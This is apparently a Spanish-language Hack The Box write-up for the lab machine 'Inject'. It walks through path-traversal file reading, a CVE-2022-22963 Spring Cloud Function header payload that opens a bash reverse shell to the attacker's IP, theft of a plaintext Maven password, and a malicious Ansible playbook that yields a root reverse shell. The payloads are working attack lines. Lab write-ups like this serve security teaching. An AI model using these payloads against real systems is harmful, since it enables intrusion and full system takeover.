Descripción
Inject es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inclusión de archivos locales
- Ejecución remota de comandos
- Exposición de datos sensibles
- Escalada de privilegios mediante un Playbook Ansible
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.204.
$ ping -c 3 10.10.11.204
PING 10.10.11.204 (10.10.11.204) 56(84) bytes of data.
64 bytes from 10.10.11.204: icmp_seq=1 ttl=63 time=46.8 ms
64 bytes from 10.10.11.204: icmp_seq=2 ttl=63 time=44.3 ms
64 bytes from 10.10.11.204: icmp_seq=3 ttl=63 time=43.9 ms
--- 10.10.11.204 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.861/44.977/46.769/1.279 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.204 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.204
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds
Obtenemos dos puertos abiertos, 22 y 8080.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.204 -sV -sC -p22,8080 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.204
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos en el navegador que el servicio está alojando un sitio web cuya utilidad es trabajar como una nube para almacenar archivos desde múltiples dispositivos.
Sólo dos enlaces funcionan: Sign Up y Upload. Si hacemos clic en Sign Up entramos en una página de construcción en curso.
Si hacemos clic en botón Upload obtenemos un formulario en el que podemos subir archivos. Vamos a crear un archivo de prueba y subirlo para comprobar cómo funciona el proceso.

$ echo "This is a test file" > test_file.txt
Al subir un archivo de texto obtuvimos una advertencia en la que sólo se aceptan archivos de imagen.
Así que creamos un archivo de imagen en nuestro ordenador local y lo subimos al sitio web.
Ahora funciona, la imagen se ha subido y obtenemos un enlace para ver la imagen. Si echamos un vistazo en el código fuente vemos que el enlace utiliza un parámetro con el nombre del archivo subido.
El servicio en el servidor es show_image y el parámetro es img. Si hacemos clic en el enlace recibimos la respuesta con la imagen subida. Podemos pasar al Repeater de Burp Suite para comprobar la solicitud y la respuesta.

Explotación
Como se envía el nombre del archivo y la extensión podemos comprobar si la aplicación web es vulnerable a la vulnerabilidad Inclusión de archivos locales. Después de probar algunas rutas en el parámetro obtenemos el contenido del archivo /etc/passwd con la ruta ../../../../../../../../../../../../../etc/passwd para que la aplicación sea vulnerable.
Parámetro:
/show_image?img=../../../../../../../etc/passwd
Mirando a los usuarios de consola encontramos root, frank y phil. Ahora necesitamos obtener algún tipo de ejecución de código remoto utilizando esta vulnerabilidad. Si especificamos un directorio en el parámetro obtenemos una lista de los archivos del directorio, por ejemplo en ../.
A medida que nos movemos a los directorios descubrimos que la aplicación está escrita en Java dentro de un proyecto Maven y luego encontramos el archivo de dependencias pom.xml en ../../../pom.xml.
Entre las dependencias del proyecto encontramos la versión 3.2.2 de spring-cloud-function-web, que es vulnerable a una ejecución de código remoto sin autentificación, CVE-2022-22963. En AttackerKB tenemos una prueba de concepto. Necesitamos enviar una solicitud HTTP POST a /functionRouter con una cabecera especial spring.cloud.function.routing-expression con código Java utilizado para ejecutar el comando, en este caso una shell inversa.
Dirección:
/functionRouter
Cabecera:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','bash -i >& /dev/tcp/10.10.14.154/1234 0>&1'})
Abrimos el puerto de escucha para recibir la shell y luego enviamos la solicitud.
$ nc -nvlp 1234
Después de enviar la solicitud recibimos un código de estado de 500, lo cuál es normal, y obtenemos una shell inversa que debemos actualizar.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.204] 35621
script /dev/null -c bash
frank@inject:/$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
frank@inject:/$ stty rows 48 columns 156
frank@inject:/$ export TERM=xterm
frank@inject:/$ export SHELL=bash
Post-Explotación
Comprobamos que el usuario registrado actualmente es frank.
frank@inject:/$ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
Comprobando en el directorio de usuario de frank (/home/frank) podemos encontrar algunas credenciales en el archivo /home/frank/.m2/settings.xml. Estas son las credenciales para el usuario henry, con la contraseña DocPhillovestoInject123.
frank@inject:~$ cat /home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
Iniciamos sesión como el usuario phil.
frank@inject:~$ su phil
Ahora vamos a comprobar los procesos que se ejecutan en intervalos fijos de tiempo, o trabajos Cron. Esta tarea se facilitará con la herramienta pspy que podemos descargar en el sistema remoto alojándola desde nuestro servidor local. Esta herramienta nos mostrará procesos creados en tiempo real.
phil@inject:~$ mktemp -d
/tmp/tmp.VUfDoJswI5
phil@inject:~$ cd /tmp/tmp.VUfDoJswI5
phil@inject:/tmp/tmp.VUfDoJswI5$ wget http://10.10.14.154/pspy32
-- http://10.10.14.154/pspy32
Connecting to 10.10.14.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2940928 (2.8M) [application/octet-stream]
Saving to: ‘pspy32’
pspy32 100%[============================================================================>] 2.80M 1.34MB/s in 2.1s
‘pspy32’ saved [2940928/2940928]
phil@inject:/tmp/tmp.VUfDoJswI5$ chmod +x pspy32
phil@inject:/tmp/tmp.VUfDoJswI5$ ./pspy32
Después de unos minutos de funcionamiento encontramos un trabajo Cron que funciona como usuario root, con UID 0, ejecutando la herramienta de automatización Ansible.
phil@inject:/tmp/tmp.VUfDoJswI5$ ./pspy32
CMD: UID=0 PID=75906 | /usr/sbin/CRON -f
CMD: UID=0 PID=75905 | /usr/sbin/CRON -f
CMD: UID=0 PID=75904 | /usr/sbin/cron -f
CMD: UID=0 PID=75907 | /usr/sbin/CRON -f
CMD: UID=0 PID=75909 | sleep 10
CMD: UID=0 PID=75908 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
CMD: UID=0 PID=75912 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
CMD: UID=0 PID=75910 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
Vemos que todas las tareas escritas en archivos .yml en el directorio /opt/automation/tasks/ se ejecutan, por lo que vamos a comprobar si tenemos permisos para escribir en ese directorio.
phil@inject:/tmp/tmp.VUfDoJswI5$ ls -la /opt/automation
total 12
drwxr-xr-x 3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 3 root root 4096 Oct 20 04:23 ..
drwxrwxr-x 2 root staff 4096 Oct 20 04:23 tasks
Vemos que los usuarios del grupo staff pueden leer y escribir archivos, así que vamos a comprobar si phil pertenece al grupo staff.
phil@inject:/tmp/tmp.VUfDoJswI5$ groups
phil staff
Como phil pertenece al grupo staff podemos comprobar que hay una tarea existente llamada playbook_1.yml en carpeta tasks que comprueba si el servicio de la aplicación web está funcionando.
phil@inject:/tmp/tmp.VUfDoJswI5$ cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
Como vemos en la documentación de Ansible es posible ejecutar comandos y es posible hacer una elevación de privilegios. Así podemos crear un archivo de tareas .yml en el directorio de tareas que creará una consola inversa como el usuario root.
phil@inject:/tmp/tmp.VUfDoJswI5$ cat<<EOF>/opt/automation/tasks/escalation.yml
- hosts: localhost
tasks:
- name: Privilege Escalation
command: bash -c "bash -i >& /dev/tcp/10.10.14.154/1235 0>&1"
become: true
EOF
Abrimos el puerto de escucha y esperamos por la conexión.
$ nc -nvlp 1235
Finalmente cuando la tarea Cron empiece obtendremos una consola inversa con privilegios de superadministrador.
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.204] 54476
bash: cannot set terminal process group (78885): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# id
uid=0(root) gid=0(root) groups=0(root)
root@inject:/opt/automation/tasks# cat /home/phil/user.txt
<REDACTED>
root@inject:/opt/automation/tasks# cat /root/root.txt
<REDACTED>